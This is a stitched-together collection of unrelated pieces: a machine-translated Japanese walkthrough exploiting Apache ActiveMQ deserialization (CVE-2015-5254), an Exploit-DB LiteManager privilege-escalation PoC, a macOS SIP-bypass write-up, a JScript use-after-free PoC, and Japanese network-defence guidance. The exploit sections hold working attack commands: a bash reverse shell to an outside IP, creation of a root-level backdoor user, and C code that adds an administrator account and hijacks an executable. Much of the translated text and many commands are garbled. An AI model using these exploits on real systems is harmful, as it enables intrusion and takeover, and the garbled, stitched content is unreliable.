        BINARY_PATH_NAME   : C:\Program Files\Photodex\ProShow Producer\ScsiAccess.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : ScsiAccess
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
            

0x00脆弱性はじめに

Apache ActiveMQは、米国のApache Software Foundationが開発したオープンソースメッセージングミドルウェアのセットです。 Javaメッセージサービス、クラスター、スプリングフレームワークなどをサポートしています。ApacheActiveMQ5.13.0の前に、バージョン5.xの前にセキュリティの脆弱性がありました。リモート攻撃者は、特別に作成されたシリアル化されたJavaメッセージサービス(JMS)ObjectMessageオブジェクトを使用して、任意のコードを実行できます。

0x01脆弱性環境

1。ubuntu16.04の下にdocker/docker-compose:をインストールします

#PIPをインストールします

curl -s https://bootstrap.pypa.io/get-pip.py | Python3

#dockerの最新バージョンをインストールします

curl -s https://get.docker.com/| sh

#Dockerサービスを開始します

Service Docker Start

#composeをインストールします

PIPインストールDocker-Compose

#プロジェクトをダウンロードします

wget https://github.com/vulhub/vulhub/archive/master.zip -o vulhub-master.zip

unzip vulhub-master.zip

CD Vulhub-Master

#特定の脆弱性/環境のディレクトリを入力します

CD Activemq/CVE-2015-5254/

#automatedコンピレーション環境

Docker-Composeビルド

jhj3fukkgtr8650.jpg

2。脆弱性環境を実行:

docker -compose up -d

環境が実行された後、2つのポート61616と8161が聴き、61616は作業ポートであり、このポートでメッセージが渡されます。 8161はネットワーク管理ページポートであり、http://Your-IP:8161にアクセスしてネットワーク管理ページを見ることができますが、理論的には、この脆弱性はネットワークを必要としません。

ブラウザを使用してActiveMQに直接アクセスして、展開が完了しているかどうかを確認します

http://45.32.101.90:8161/admin/(デフォルトのユーザー名/パスワードはadmin/admin)

ljlozame5np8651.jpg

0x02脆弱性の再発

1。脆弱性の搾取プロセスは次のとおりです。

a。 construct(ysoserialを使用できます)実行可能コマンドのシリアル化されたオブジェクト

b。メッセージとして、ターゲットポート61616に送信します

c。アクセスされたWeb管理ページ、メッセージの読み取り、トリガーの脆弱性

2. Exploitation :にJMETを使用します

最初にJMET JARファイルをダウンロードし、同じディレクトリに外部フォルダーを作成します(それ以外の場合、フォルダーが存在しないエラーが爆発する場合があります)。 JMETの原則は、Ysoserialを使用してペイロードを生成して送信することです(瓶にYsoserialが付属しているため、ローマなどのYsoserialガジェットで使用できるものを選択する必要があります。

CD /OPT

wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

MKDIR外部

3。コマンドを実行します

Java -jar Jmet -0.1.0 -All.jar -Q Event -i activemq -s -y 'touch /tmp /sucess' -yp Rome 45.32.101.90 61616

fz1puf33kpx8652.jpg

4。現時点では、ターゲットActiveMQに名前付きイベントというキューが追加されます。 http://45.32.101.903:8161/admin/browse.jsp?jmsdestination=event:beansed from http://45.32.101.903:8161からすべてのメッセージが表示されます。

t0gfl2yp50z8653.jpg

5.クリックしてこのメッセージを表示して、コマンドの実行をトリガーします

n5i0b43ajos8654.jpg

6.この時点でコンテナを入力します

docker exec -it cc0e9385f975 /bin /bash

fetkrrwuw2l8655.jpg

7./TMP /が正常に作成されていることがわかります。これは、搾取が成功していることを示しています。

zbaliwgexai8656.jpg

8.Bounce Shell:

Java -jar Jmet -0.1.0 -All.jar -Q Event -i activemq -s -y 'bash -i /dev/tcp/45.32.101.90/123401' -Yp Rome45.32.101.90 61616

3ur34wwqf2e8657.jpg

リモートホストはポート1234に耳を傾けます。

NC -LVVP 1234

リバウンドがshell:であることがわかります

kstq35odu0q8658.jpg

ネットワーク管理ページを介してメッセージにアクセスし、脆弱性をトリガーするには管理者の権限が必要であることは注目に値します。パスワードがなければ、管理者にリンクにトリガーへのリンクにアクセスするように誘導したり、他の正当なサービスに必要なメッセージとして偽装したり、クライアントにアクセスできるようにすることができます。

9.ユーザーを追加します

JMEMコマンドを実行してテストユーザーを追加してルートグループに追加し、http://192.168.221.185:8161/admin/browse.jsp?jmsdestination=イベントページに戻り、メッセージをクリックしてトリガーを使用します。

Java -jar Jmet -0.1.0 -All.jar -Q Event -i activemq -s -y 'useradd -g root -s /bin /bash -u 10010 test' -yp rome 45.32.101.90 61616

ルートの権限があるように、PassWDのテストのUIDを0に変更して、http://192.168.221.1853:8161/admin/browse.jsp?jmsdestination=eventページ、メッセージをクリックしてトリガーに戻ります。

Java -jar Jmet -0.1.0 -All.jar -Q Event -i activemq -s -y 'sed -i' s/test:x3:10010/etc/etc/etc/passwd '-yp rome 45.32.101.90 616166

テストユーザーのパスワードを設定し、http://192.168.221.185:8161/admin/browse.jsp?jmsdestination=イベントページに戻り、メッセージをクリックしてトリガーします。

Java -jar Jmet -0.1.0 -All.jar -Q Event -i activemq -s -y 'echo' test:SD123456 '| Chpasswd '-yp Rome 45.32.101.90 61616

この時点まで、ルートとパスワード123456の権限を持つユーザーが作成されました。 SSHを使用して、オペレーティングシステムに直接リモートでログインできますが、それでも最高の権限があります。

qsnhwm3ticb8659.jpg

0x03参照リンク

https://www.blackhat.com/docs/us-16/materials/us-16-kaiser-pwning-your-java-messaging-with-deserialization-vulnerabilities.pdf

会社の内部ネットワークセキュリティ構築の基本的なリンクとして、資産収集と対応する管理、特に脆弱性管理がネットワークセキュリティ構築の基盤です。

資産収集の最初のステップ - 接続されたデバイスのコレクション:

(1)収集手段:履歴登録記録に基づいたクエリまたはスキャン方法を使用して、ネットワーク環境内でアクティブなホスト検出を実行します。

(2)収集目的:クラウド、IoTデバイスなどを含むすべてのネットワークデバイスをカバーし、対応するライブラリテーブル構造ストレージ、定期的に再テスト、整然とした更新を確立します。

資産コレクションの2番目のステップ - 新しいネットワークアッチョン機器の収集:

(1)収集手段:インターネットを登録するか、インテリジェントなインターネットアクセス検出メカニズムを使用します。これは、ネットワーク検出テクノロジーまたはインターネットアクセス中国ユニコムID検証メカニズムを使用して収集するために使用できます。

(2)収集目標:クラウド、IoTデバイスなどを含むすべての新しいネットワーク入力デバイスをカバーし、対応するライブラリテーブル構造ストレージ、定期的に再テスト、秩序ある更新を確立します。

資産収集の3番目のステップ - 仮想資産の収集:

(1)仮想資産:重要なデータレコード、IPアドレス、MACアドレス、メインドメイン名、サブドメイン、CNAMEレコード、MXレコード、NSレコード、レコードなどを含むがこれらに限定されない。

(2)収集手段:登録およびレビューメカニズムとスキャンと分析のリクエスト。

(3)収集目標:すべての仮想資産をカバーし、対応するライブラリテーブル構造ストレージを確立し、定期的に再テストし、整然と更新します。

資産分析の最初のステップ - ホストOS、ソフトウェア、サービスなどの情報の収集:

(1)技術的手段:スキャン

(2)情報の収集:OSシステム情報(パスワード情報を含む)、ネットワークプロトコルスタック情報(MAC、IP、ポート、プロトコル、サービス)、ソフトウェア情報(ソフトウェア名、バージョン)

(3)目標を収集する:上記のすべての情報をカバーし、定期的に追跡および検出し、整然としたり、更新します。

資産分析の2番目のステップ - 脆弱性ライブラリの確立:

(1)収集方法:独自のSRCと脆弱性プラットフォームを条件で確立し、群衆のテストで脆弱性を収集します。あなた自身、または資格のある機関を侵入テストを実施し、脆弱性を掘り出し、それらを独自の脆弱性ライブラリに記録するよう招待します。同期については、CVE、CNNVD、およびNVDに注意してください。

(2)収集コンテンツ:脆弱性ハザードレベル、脆弱性の影響範囲、ソフトウェア、バージョン、脆弱性テスト方法、脆弱性修復方法。

(3)目標を収集する:関連するすべての脆弱性情報をカバーし、定期的に追跡および検出し、整然と更新してください。

資産分析の3番目のステップ - 脆弱性チェックと修正:

(1)脆弱性マッチング段階:資産情報と脆弱性ライブラリのマッチングを確認し、必要に応じてPACテストを使用します。

(2)脆弱性の修復段階:特定のレベル内で修理して確認します。修復されていない記録やその他の制限が確立されています。

# Exploit Title: LiteManager 4.5.0 - Insecure File Permissions
# Exploit Author: ZwX
# Exploit Date: 2019-11-21
# Vendor Homepage : LiteManager Team
# Software Link: http://html.tucows.com/preview/1594042/LiteManager-Free?q=remote+support
# Tested on OS: Windows 7 


# Proof of Concept (PoC):
==========================


C:\Program Files\LiteManagerFree - Server>icacls *.exe
ROMFUSClient.exe Everyone:(F)
                 AUTORITE NT\Système:(I)(F)
                 BUILTIN\Administrateurs:(I)(F)
                 BUILTIN\Utilisateurs:(I)(RX)
				 
				 
#Exploit code(s): 
=================

1) Compile below 'C' code name it as "ROMFUSClient.exe"

#include<windows.h>

int main(void){
 system("net user hacker abc123 /add");
 system("net localgroup Administrators hacker  /add");
 system("net share SHARE_NAME=c:\ /grant:hacker,full");
 WinExec("C:\\Program Files\\LiteManagerFree\\~ROMFUSClient.exe",0);
return 0;
} 

2) Rename original "ROMFUSClient.exe" to "~ROMFUSClient.exe"
3) Place our malicious "ROMFUSClient.exe" in the LiteManagerFree directory
4) Disconnect and wait for a more privileged user to connect and use ROMFUSClient IDE. 
Privilege Successful Escalation
            
Tested on macOS Mojave (10.14.6, 18G87) and Catalina Beta (10.15 Beta 19A536g).

On macOS, the dyld shared cache (in /private/var/db/dyld/) is generated locally
on the system and therefore doesn't have a real code signature;
instead, SIP seems to be the only mechanism that prevents modifications of the
dyld shared cache.
update_dyld_shared_cache, the tool responsible for generating the shared cache,
is able to write to /private/var/db/dyld/ because it has the
com.apple.rootless.storage.dyld entitlement. Therefore, update_dyld_shared_cache
is responsible for ensuring that it only writes data from trustworthy libraries
when updating the shared cache.

update_dyld_shared_cache accepts two interesting command-line arguments that
make it difficult to enforce these security properties:

 - "-root": Causes libraries to be read from, and the cache to be written to, a
   caller-specified filesystem location.
 - "-overlay": Causes libraries to be read from a caller-specified filesystem
   location before falling back to normal system directories.

There are some checks related to this, but they don't look very effective.
main() tries to see whether the target directory is protected by SIP:

    bool requireDylibsBeRootlessProtected = isProtectedBySIP(cacheDir);

If that variable is true, update_dyld_shared_cache attempts to ensure that all
source libraries are also protected by SIP.

isProtectedBySIP() is implemented as follows:

    bool isProtectedBySIP(const std::string& path)
    {
        if ( !sipIsEnabled() )
            return false;

        return (rootless_check_trusted(path.c_str()) == 0);
    }

Ignoring that this looks like a typical symlink race issue, there's another
problem:

Looking in a debugger (with SIP configured so that only debugging restrictions
and dtrace restrictions are disabled), it seems like rootless_check_trusted()
doesn't work as expected:

    bash-3.2# lldb /usr/bin/update_dyld_shared_cache 
    [...]
    (lldb) breakpoint set --name isProtectedBySIP(std::__1::basic_string<char,\ std::__1::char_traits<char>,\ std::__1::allocator<char>\ >\ const&) 
    Breakpoint 1: where = update_dyld_shared_cache`isProtectedBySIP(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&), address = 0x00000001000433a4
    [...]
    (lldb) run -force
    Process 457 launched: '/usr/bin/update_dyld_shared_cache' (x86_64)
    Process 457 stopped
    * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
        frame #0: 0x00000001000433a4 update_dyld_shared_cache`isProtectedBySIP(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&)
    update_dyld_shared_cache`isProtectedBySIP:
    ->  0x1000433a4 <+0>: pushq  %rbp
        0x1000433a5 <+1>: movq   %rsp, %rbp
        0x1000433a8 <+4>: pushq  %rbx
        0x1000433a9 <+5>: pushq  %rax
    Target 0: (update_dyld_shared_cache) stopped.
    (lldb) breakpoint set --name rootless_check_trusted
    Breakpoint 2: where = libsystem_sandbox.dylib`rootless_check_trusted, address = 0x00007fff5f32b8ea
    (lldb) continue 
    Process 457 resuming
    Process 457 stopped
    * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1
        frame #0: 0x00007fff5f32b8ea libsystem_sandbox.dylib`rootless_check_trusted
    libsystem_sandbox.dylib`rootless_check_trusted:
    ->  0x7fff5f32b8ea <+0>: pushq  %rbp
        0x7fff5f32b8eb <+1>: movq   %rsp, %rbp
        0x7fff5f32b8ee <+4>: movl   $0xffffffff, %esi         ; imm = 0xFFFFFFFF 
        0x7fff5f32b8f3 <+9>: xorl   %edx, %edx
    Target 0: (update_dyld_shared_cache) stopped.
    (lldb) print (char*)$rdi
    (char *) $0 = 0x00007ffeefbff171 "/private/var/db/dyld/"
    (lldb) finish
    Process 457 stopped
    * thread #1, queue = 'com.apple.main-thread', stop reason = step out

        frame #0: 0x00000001000433da update_dyld_shared_cache`isProtectedBySIP(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&) + 54
    update_dyld_shared_cache`isProtectedBySIP:
    ->  0x1000433da <+54>: testl  %eax, %eax
        0x1000433dc <+56>: sete   %al
        0x1000433df <+59>: addq   $0x8, %rsp
        0x1000433e3 <+63>: popq   %rbx
    Target 0: (update_dyld_shared_cache) stopped.
    (lldb) print $rax
    (unsigned long) $1 = 1

Looking around with a little helper (under the assumption that it doesn't behave
differently because it doesn't have the entitlement), it looks like only a small
part of the SIP-protected directories show up as protected when you check with
rootless_check_trusted():

    bash-3.2# cat rootless_test.c
    #include <stdio.h>

    int rootless_check_trusted(char *);

    int main(int argc, char **argv) {
      int res = rootless_check_trusted(argv[1]);
      printf("rootless status for '%s': %d (%s)\n", argv[1], res, (res == 0) ? "PROTECTED" : "MALLEABLE");
    }
    bash-3.2# ./rootless_test /
    rootless status for '/': 1 (MALLEABLE)
    bash-3.2# ./rootless_test /System
    rootless status for '/System': 0 (PROTECTED)
    bash-3.2# ./rootless_test /System/
    rootless status for '/System/': 0 (PROTECTED)
    bash-3.2# ./rootless_test /System/Library
    rootless status for '/System/Library': 0 (PROTECTED)
    bash-3.2# ./rootless_test /System/Library/Assets
    rootless status for '/System/Library/Assets': 1 (MALLEABLE)
    bash-3.2# ./rootless_test /System/Library/Caches
    rootless status for '/System/Library/Caches': 1 (MALLEABLE)
    bash-3.2# ./rootless_test /System/Library/Caches/com.apple.kext.caches
    rootless status for '/System/Library/Caches/com.apple.kext.caches': 1 (MALLEABLE)
    bash-3.2# ./rootless_test /usr
    rootless status for '/usr': 0 (PROTECTED)
    bash-3.2# ./rootless_test /usr/local
    rootless status for '/usr/local': 1 (MALLEABLE)
    bash-3.2# ./rootless_test /private
    rootless status for '/private': 1 (MALLEABLE)
    bash-3.2# ./rootless_test /private/var/db
    rootless status for '/private/var/db': 1 (MALLEABLE)
    bash-3.2# ./rootless_test /private/var/db/dyld/
    rootless status for '/private/var/db/dyld/': 1 (MALLEABLE)
    bash-3.2# ./rootless_test /sbin
    rootless status for '/sbin': 0 (PROTECTED)
    bash-3.2# ./rootless_test /Applications/Mail.app/
    rootless status for '/Applications/Mail.app/': 0 (PROTECTED)
    bash-3.2# 

Perhaps rootless_check_trusted() limits its trust to paths that are writable
exclusively using installer entitlements like com.apple.rootless.install, or
something like that? That's the impression I get when testing different entries
from /System/Library/Sandbox/rootless.conf - the entries with no whitelisted
specific entitlement show up as protected, the ones with a whitelisted specific
entitlement show up as malleable.
rootless_check_trusted() checks for the "file-write-data" permission through the
MAC syscall, but I haven't looked in detail at how the policy actually looks.

(By the way, looking at update_dyld_shared_cache, I'm not sure whether it would
actually work if the requireDylibsBeRootlessProtected flag is true - it looks
like addIfMachO() would never add any libraries to dylibsForCache because
`sipProtected` is fixed to `false` and the call to isProtectedBySIP() is
commented out?)


In theory, this means it's possible to inject a modified version of a library
into the dyld cache using either the -root or the -overlay flag of
update_dyld_shared_cache, reboot, and then run an entitled binary that will use
the modified library. However, there are (non-security) checks that make this
annoying:

 - When loading libraries, loadPhase5load() checks whether the st_ino and
   st_mtime of the on-disk library match the ones embedded in the dyld cache at
   build time.
 - Recently, dyld started ensuring that the libraries are all on the "boot
   volume" (the path specified with "-root", or "/" if no root was specified).

The inode number check means that it isn't possible to just create a malicious
copy of a system library, run `update_dyld_shared_cache -overlay`, and reboot to
use the malicious copy; the modified library will have a different inode number.
I don't know whether HFS+ reuses inode numbers over time, but on APFS, not even
that is possible; inode numbers are monotonically incrementing 64-bit integers.

Since root (and even normal users) can mount filesystem images, I decided to
create a new filesystem with appropriate inode numbers.
I think HFS probably can't represent the full range of inode numbers that APFS
can have (and that seem to show up on volumes that have been converted from
HFS+ - that seems to result in inode numbers like 0x0fffffff00001666), so I
decided to go with an APFS image. Writing code to craft an entire APFS
filesystem would probably take quite some time, and the public open-source APFS
implementations seem to be read-only, so I'm first assembling a filesystem image
normally (create filesystem with newfs_apfs, mount it, copy files in, unmount),
then renumbering the inodes. By storing files in the right order, I don't even
need to worry about allocating and deallocating space in tree nodes and
such - all replacements can be performed in-place.

My PoC patches the cached version of csr_check() from libsystem_kernel.dylib so
that it always returns zero, which causes the userspace kext loading code to
ignore code signing errors.


To reproduce:

 - Ensure that SIP is on.
 - Ensure that you have at least something like 8GiB of free disk space.
 - Unpack the attached dyld_sip.tar (as normal user).
 - Run ./collect.sh (as normal user). This should take a couple minutes, with
   more or less continuous status updates. At the end, it should say "READY"
   after mounting an image to /private/tmp/L.
   (If something goes wrong here and you want to re-run the script, make sure to
   detach the volume if the script left it attached - check "hdiutil info".)
 - As root, run "update_dyld_shared_cache -force -root /tmp/L".
 - Reboot the machine.
 - Build an (unsigned) kext from source. I have attached source code for a
   sample kext as testkext.tar - you can unpack it and use xcodebuild -, but
   that's just a simple "hello world" kext, you could also use anything else.
 - As root, copy the kext to /tmp/.
 - As root, run "kextutil /tmp/[...].kext". You should see something like this:

         bash-3.2# cp -R testkext/build/Release/testkext.kext /tmp/ && kextutil /tmp/testkext.kext
         Kext with invalid signatured (-67050) allowed: <OSKext 0x7fd10f40c6a0 [0x7fffa68438e0]> { URL = "file:///private/tmp/testkext.kext/", ID = "net.thejh.test.testkext" }
         Code Signing Failure: code signature is invalid
         Disabling KextAudit: SIP is off
         Invalid signature -67050 for kext <OSKext 0x7fd10f40c6a0 [0x7fffa68438e0]> { URL = "file:///private/tmp/testkext.kext/", ID = "net.thejh.test.testkext" }
         bash-3.2# dmesg|tail -n1
         test kext loaded
         bash-3.2# kextstat | grep test
           120    0 0xffffff7f82a50000 0x2000     0x2000     net.thejh.test.testkext (1) A24473CD-6525-304A-B4AD-B293016E5FF0 <5>
         bash-3.2# 


Miscellaneous notes:

 - It looks like there's an OOB kernel write in the dyld shared cache pager; but
   AFAICS that isn't reachable unless you've already defeated SIP, so I don't
   think it's a vulnerability:
   vm_shared_region_slide_page_v3() is used when a page from the dyld cache is
   being paged in. It essentially traverses a singly-linked list of relocations
   inside the page; the offset of the first relocation (iow the offset of the
   list head) is stored permanently in kernel memory when the shared cache is
   initialized.
   As far as I can tell, this function is missing bounds checks; if either the
   starting offset or the offset stored in the page being paged in points
   outside the page, a relocation entry will be read from OOB memory, and a
   relocated address will conditionally be written back to the same address.
 - There is a check `rootPath != "/"` in update_dyld_shared_cache; but further
   up is this:

       // canonicalize rootPath
       if ( !rootPath.empty() ) {
           char resolvedPath[PATH_MAX];
           if ( realpath(rootPath.c_str(), resolvedPath) != NULL ) {
               rootPath = resolvedPath;
           }
           // <rdar://problem/33223984> when building closures for boot volume, pathPrefixes should be empty
           if ( rootPath == "/" ) {
               rootPath = "";
           }
       }

   So as far as I can tell, that condition is always true, which means that when
   an overlay path is specified with `-overlay`, the cache is written to the
   root even though the code looks as if the cache is intended to be written to
   the overlay.
 - Some small notes regarding the APFS documentation at
   <https://developer.apple.com/support/downloads/Apple-File-System-Reference.pdf>:
  - The typedef for apfs_superblock_t is missing.
  - The documentation claims that APFS_TYPE_DIR_REC keys are j_drec_key_t, but
    actually they can be j_drec_hashed_key_t.
  - The documentation claims that o_cksum is "The Fletcher 64 checksum of the
    object", but actually APFS requires that the fletcher64 checksum of all data
    behind the checksum concatenated with the checksum is zero.
    (In other words, you cut out the checksum field at the start, append it at
    the end, then run fletcher64 over the buffer, and then you have to get an
    all-zeroes checksum.)


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47708.zip
            
There is a use-after-free issue in JSCript (triggerable via Internet Explorer) where the members of the 'arguments' object aren't tracked by the garbage collector during the 'toJSON' callback. Thus, during the 'toJSON' callback, it is possible to assign a variable to the 'arguments' object, have it garbage-collected (as long as it is not referenced anywhere else) and still access it later. Note that, like in some previously reported JSCript issues, this is a use-after-free on a JSCript variable (VAR structure), so in order to trigger a crash, the entire block of variables must be freed.

PoC for Internet Explorer is below. I tested it on multiple Windows version with the latest security patches applied.

===========================================================

<!-- saved from url=(0014)about:internet -->
<meta http-equiv="X-UA-Compatible" content="IE=8"></meta>
<script language="Jscript.Encode">
    var spray = new Array();

    function F() {
        alert('callback');

        // 2. Create a bunch of objects
        for (var i = 0; i < 20000; i++) spray[i] = new Object();

        // 3. Store a reference to one of them in the arguments array
        //    The arguments array isn't tracked by garbage collector
        arguments[0] = spray[5000];

        // 4. Delete the objects and call the garbage collector
        //    All JSCript variables get reclaimed... 
        for (var i = 0; i < 20000; i++) spray[i] = 1;
        CollectGarbage();

        // 5. But we still have reference to one of them in the
        //    arguments array
        alert(arguments[0]);
    }

    // 1. Cause toJSON callback to fire
    var o = {toJSON:F}
    JSON.stringify(o);

    alert('done');

</script>

===========================================================


Debug log:

===========================================================

(1cf4.154): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000080 ebx=05ecc218 ecx=00000080 edx=00000001 esi=05f0c3c8 edi=05fb12e8
eip=6e25f52a esp=05ecc180 ebp=05ecc1b4 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
jscript!PrepareInvoke+0x12a:
6e25f52a 0fb707          movzx   eax,word ptr [edi]       ds:002b:05fb12e8=????

0:009> k
 # ChildEBP RetAddr  
00 05ecc1b4 6e262b75 jscript!PrepareInvoke+0x12a
01 05ecc2a8 6e2660ee jscript!VAR::InvokeByDispID+0x1c5
02 05ecc4a0 6e26244a jscript!CScriptRuntime::Run+0x2e4e
03 05ecc594 6e2622a1 jscript!ScrFncObj::CallWithFrameOnStack+0xaa
04 05ecc5ec 6e25bec9 jscript!ScrFncObj::Call+0x81
05 05ecc68c 6e262aed jscript!NameTbl::InvokeInternal+0x399
06 05ecc78c 6e2a862c jscript!VAR::InvokeByDispID+0x13d
07 05ecc800 6e2a8c2e jscript!GCProtectKeyAndCall+0xed
08 05ecc898 6e2a93ce jscript!JSONApplyFilters+0x125
09 05ecc90c 6e2ad9a2 jscript!JSONStringifyObject+0xac
0a 05ecc9b4 6e269e3a jscript!JsJSONStringify+0x382
0b 05ecca1c 6e25bec9 jscript!NatFncObj::Call+0xea
0c 05eccabc 6e25e476 jscript!NameTbl::InvokeInternal+0x399
0d 05eccc78 6e262aa5 jscript!VAR::InvokeByName+0x8f6
0e 05eccd70 6e2660ee jscript!VAR::InvokeByDispID+0xf5
0f 05eccf68 6e26244a jscript!CScriptRuntime::Run+0x2e4e
10 05ecd05c 6e2622a1 jscript!ScrFncObj::CallWithFrameOnStack+0xaa
11 05ecd0b4 6e257124 jscript!ScrFncObj::Call+0x81
12 05ecd170 6e257f75 jscript!CSession::Execute+0x314
13 05ecd1d0 6e256c83 jscript!COleScript::ExecutePendingScripts+0x2d5
14 05ecd274 6e2569b9 jscript!COleScript::ParseScriptTextCore+0x2c3
15 05ecd2a0 70209251 jscript!COleScript::ParseScriptText+0x29
16 05ecd2d8 70122a27 MSHTML!CActiveScriptHolder::ParseScriptText+0x51
17 05ecd348 70121fe2 MSHTML!CScriptCollection::ParseScriptText+0x182
18 05ecd434 701226ee MSHTML!CScriptData::CommitCode+0x312
19 05ecd4b0 7012153a MSHTML!CScriptData::Execute+0x1ba
1a 05ecd4d0 701e99b6 MSHTML!CHtmScriptParseCtx::Execute+0xaa
1b 05ecd524 70159c7d MSHTML!CHtmParseBase::Execute+0x186
1c 05ecd544 70159599 MSHTML!CHtmPost::Broadcast+0xfd
1d 05ecd66c 7017647d MSHTML!CHtmPost::Exec+0x339
1e 05ecd68c 70176376 MSHTML!CHtmPost::Run+0x3d
1f 05ecd6ac 70176308 MSHTML!PostManExecute+0x60
20 05ecd6c0 70176279 MSHTML!PostManResume+0x6f
21 05ecd6f0 70208447 MSHTML!CHtmPost::OnDwnChanCallback+0x39
22 05ecd708 7015be1d MSHTML!CDwnChan::OnMethodCall+0x27
23 05ecd780 702f1207 MSHTML!GlobalWndOnMethodCall+0x1bd
24 05ecd7d0 7015c5a2 MSHTML!GlobalWndProc_SEH+0x317
25 05ecd7ec 7562624b MSHTML!GlobalWndProc+0x52
26 05ecd818 756174dc USER32!_InternalCallWinProc+0x2b
27 05ecd8fc 7561661b USER32!UserCallWinProcCheckWow+0x3ac
28 05ecd970 756163f0 USER32!DispatchMessageWorker+0x21b
29 05ecd97c 717e6456 USER32!DispatchMessageW+0x10
2a 05ecfb0c 717e73e3 IEFRAME!CTabWindow::_TabWindowThreadProc+0xa36
2b 05ecfbcc 7223df6c IEFRAME!LCIETab_ThreadProc+0x403
2c 05ecfbe4 7130289d msIso!_IsoThreadProc_WrapperToReleaseScope+0x1c
2d 05ecfc1c 75520419 IEShims!NS_CreateThread::AutomationIE_ThreadProc+0x8d
2e 05ecfc2c 7789662d KERNEL32!BaseThreadInitThunk+0x19
2f 05ecfc88 778965fd ntdll!__RtlUserThreadStart+0x2f
30 05ecfc98 00000000 ntdll!_RtlUserThreadStart+0x1b

===========================================================
            

1。ステップ1季節性ネットワーク計画と境界保護:

これは実際には決まり文句です。 Googleは長年にわたってネットワークの境界を排除すると主張してきましたが、2015年に同様の概念を聞いたことがありますが、現在、国内党A、特に重い資産である党Aはネットワークの境界を排除できず、短期間でネットワークの境界を排除する可能性はありません。したがって、ネットワーク環境を合理的に計画し、国境のセキュリティを十分に保護することは、依然として最も基本的なことです。

(1)ネットワークトポロジを合理的に計画することは、内部、外側、DMZなどの従来の部門に限定されませんが、実際のネットワーク接続のニーズに応じて独自のレイアウトを計画します。

(2)領域を合理的に分割し、FW、WAF、IPS、IDS、SOC、UTM、STIM、エージェント(APT攻撃検出に使用されるトラフィック分析プローブ)およびその他のデバイスの展開を合理的に計画し、対話と相互接続を行います。

(3)ACL構成:相互アクセス権はビジネスニーズを満たし、最小許可の原則に従う必要があります。すべてのACL構成と関連する変更には、監査を促進するために履歴が必要です。

(4)オフサイトブランチは、VPNを介して内部エンタープライズネットワークにアクセスします。また、信頼できるトラフィック暗号化アルゴリズムと、2要素認証、動的認証、その他のメジャーなどの十分に強力なID認証管理メカニズムを確保する必要があります。

(5)クラウドホストのネットワーク展開を使用して、仮想ネットワークをクラウドに分割する必要があり、ネットワークアクセスのニーズを満たすために最小限の許可割り当てを行う必要があります。

(6)ハニーポット、密なネット、およびサンドボックスの環境を展開して、攻撃者を誘導し、攻撃者を発見し、脅威インテリジェンス、セキュリティ意思決定基準を提供するために使用される供給傾向を発見し、組織の内部情報ネットワークをある程度保護および非難する。

2。STEP2-ASSET信頼できる管理可能な管理と脆弱性管理:

テクノロジーを始めた多くのインターネットパーティーAにとって、現在の資産管理は混乱しています。さらに、非IT業界のほとんどの企業。したがって、資産の信頼できる、制御可能で効率的な組織管理が非常に必要です。

(1)資産が含まれる資産登録管理システムを確立して改善します。

(ハードウェア:コンピューター、ネットワーク機器、産業制御機器、モノのインターネット機器[自動販売機、セルフサービスATM、プローブ、モニター、カメラ、スマートテレビ、スマートオフィスの調理器具、税制管理機器]、モバイルインターネットターミナル);

(ソフトウェア:自己開発ソフトウェア、オープンソースソフトウェア、無料のクローズドソースソフトウェア、有料サードパーティソフトウェアなど);

(IT仮想資産:ドメイン名、URL、電子メール、IP、データ - ここでは、ビジネスや技術データを含むすべてのデータを参照してください)

(2)定期的かつ定期的に資産の変更スキャンと検出を実行し、資産リストを改善します。 [スキャンシステムを発見し、資産をタイムリーに発見し、OS、ソフトウェア、デバイス、および資産のその他の情報を検出し、セキュリティインテリジェンスと脆弱性情報を一致させる必要があります)(詳細については、資産発見システムの調査を参照してください)

(3)最新の脆弱性情報、攻撃および防衛情報、および資産情報に基づいてその他のセキュリティ情報を一致させ、時間内にパッチを当てます。短期間パッチがない場合は、一時的なセキュリティ対策を講じるために、独自のセキュリティチームまたはサードパーティのセキュリティチームを見つけることができます。

(4)悪意のあるIP、ドメイン、URL、電子メール、ハッシュを含むがこれらに限定されないが、リアルタイムで最適です。悪意のある攻撃が発見され、悪意のあるサンプルが発見され、ホストに落ちました。

(5)パッチとアップグレードバージョンをタイムリーにインストールし、基本を強化します。

(6)ベースライン構成検出、すべての資産のセキュリティ構成のベースライン検査を実施し、実際の結果に従って変更し、セキュリティ構成を改善します。

3。Step3-Logによって収集されたビッグデータ分析、監査、および状況認識:

現在、ビッグデータと機械学習は非常に人気があり、状況認識は本格的ですが、その本質は、収集、整理、インテリジェントな分析、および機械学習アルゴリズムを使用してポートレートを作成し、アクセス行動の特性を計算し、通常の交通行動と異常な交通行動を区別することです。

(1)ELK Systemsなどの詳細なログ収集および収集システムを確立および改善するか、Splunkを使用します。

(2)多数の大規模なデータの二次研究開発を実施し、正確に分析し、規則に合わせ、迅速に警察を呼び出す。たとえば、ヤラはルールします。 ModSecurityルール、OWASPルールなど。

(3)機械学習アルゴリズムを使用して、黒、白、灰色のログを分類します。より正確なマッチングを達成し、将来の攻撃の傾向を予測します。

(4)完全なログリアルタイム配信、バックアップ、保存メカニズムを確立します。事故の場合のタイムリーな監査、トレーサビリティ、返信に便利です。

4。STEP4-脆弱性を回避するためにセキュリティ開発プロセスを確立します。

(1)サードパーティまたはオープンソースソフトウェアは、常にCVEなどがあるかなど、セキュリティテストを受けるか、リアルタイムでセキュリティダイナミクスに注意を払う必要があります。

(2)自己開発システムで使用されるミドルウェアには、CVEの脆弱性を露出したミドルウェアの使用を避けるためのセキュリティチェック、またはStruts2などの歴史の複数の0DAYまたは脆弱性を公開するミドルウェアを使用する必要があります。脆弱性ライブラリバージョンの比較については、CPEを参照してください。

